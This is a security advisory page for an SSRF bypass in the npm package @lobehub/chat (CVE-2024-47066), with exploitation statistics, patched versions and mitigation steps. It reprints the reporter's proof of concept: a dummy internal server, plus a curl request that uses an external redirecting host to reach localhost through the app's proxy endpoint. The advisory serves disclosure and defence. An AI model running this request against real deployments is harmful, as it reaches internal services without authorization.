NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
CRITICAL severity

lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)GHSA-3fc8-2r3f-8wrg

CRITICALFix: lobehub/lobe-chat@e960a23

GHSA-3fc8-2r3f-8wrg is a critical-severity (CVSS 9) Server-Side Request Forgery (SSRF) vulnerability in @lobehub/chat. 3 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for @lobehub/chat — see the affected versions and patch details below.

Also known asCVE-2024-47066
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
3 known
Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-3fc8-2r3f-8wrg.

EPSS Exploitation Probability

via FIRST.org ↗
11.9%probability of exploitation in next 30 days
Moderate Risk0.00%
Lower risk than most CVEs96th percentile — riskier than 96% of all scored CVEsHighest risk
3.95%7.20%10.4%13.7%5.8%11.9%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@lobehub/chatnpm
23Kdownloads / week

Description

Summary

SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.

PoC

  1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;

  2. Create file dummy-server.js with the following content:

var http = require('http');
console.log("running server");
http.createServer(function (req, res) {
  console.log(req.url);
  res.writeHead(200, {'Content-Type': 'text/html'});
  res.end();
}).listen(3001, 'localhost');

And run

node dummy-server.js

as an example server inside of container [1] (or in containers private network).

  1. Run in terminal to perform request to lobe-chat instance from [1]
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \
    -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \
    --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \
    $'http://0.0.0.0:3210/api/proxy'

where body contains url of server which redirects to internal network (in my case it redirects according url parameter).

  1. Observe in output of [2]
running server
/iamssrf_1337
  1. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.

Fix recommendations:

  1. Disable redirects - lobe-chat should consider explicitly disable redirects.
  2. If redirects support is required, perform check before each http request.

Impact

https://portswigger.net/web-security/ssrf

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@lobehub/chatall versions1.19.13npm install @lobehub/chat@1.19.13

Affected Products

1 product · 1 configurations
Application
lobe chatlobehub
< 1.19.3
range
Exploits & PoCs
3

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @lobehub/chat, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @lobehub/chat to 1.19.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3fc8-2r3f-8wrg is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

### Summary SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address. ### PoC 1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210; 2. Create file dummy-server.js with the following content: ``` var http = require('http'); console.log("running server"); http.createServer(function (req, res) { console.log(req.url); res.writeHead(200, {'Content
O3 Security · Impact-Aware SCA

Is GHSA-3fc8-2r3f-8wrg in your dependencies?

Find it across npm, including transitive dependencies.

lobe-chat implemented an insufficient fix for…